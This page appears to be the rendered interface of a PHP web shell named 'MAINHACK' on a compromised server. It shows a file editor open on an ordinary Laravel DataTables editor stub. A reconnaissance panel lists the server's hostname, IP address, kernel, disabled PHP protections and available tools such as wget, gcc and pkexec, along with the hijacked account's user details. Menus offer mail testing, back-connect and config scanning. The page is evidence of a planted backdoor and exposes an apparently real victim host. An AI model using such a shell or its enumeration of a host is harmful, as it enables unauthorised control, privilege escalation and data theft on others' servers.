[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: editor.stub
<?php declare(strict_types=1); namespace DummyNamespace; use DummyModel; use Illuminate\Database\Eloquent\Model; use Illuminate\Validation\Rule; use Yajra\DataTables\DataTablesEditor; class DummyClass extends DataTablesEditor { protected $model = ModelName::class; /** * Get create action validation rules. */ public function createRules(): array { return [ 'email' => 'required|email|max:255|unique:'.$this->resolveModel()->getTable(), 'name' => 'required|max:255', 'password' => 'required||max:255|confirmed', ]; } /** * Get edit action validation rules. */ public function editRules(Model $model): array { return [ 'email' => 'sometimes|required|max:255|email|'.Rule::unique($model->getTable())->ignore($model->getKey()), 'name' => 'sometimes|required|max:255', 'password' => 'sometimes|required|max:255', ]; } /** * Get remove action validation rules. */ public function removeRules(Model $model): array { return []; } /** * Event hook that is fired after `creating` and `updating` hooks, but before * the model is saved to the database. */ public function saving(Model $model, array $data): array { // Before saving the model, hash the password. if (! empty(data_get($data, 'password'))) { data_set($data, 'password', bcrypt($data['password'])); } return $data; } /** * Event hook that is fired after `created` and `updated` events. */ public function saved(Model $model, array $data): Model { // do something after saving the model return $model; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002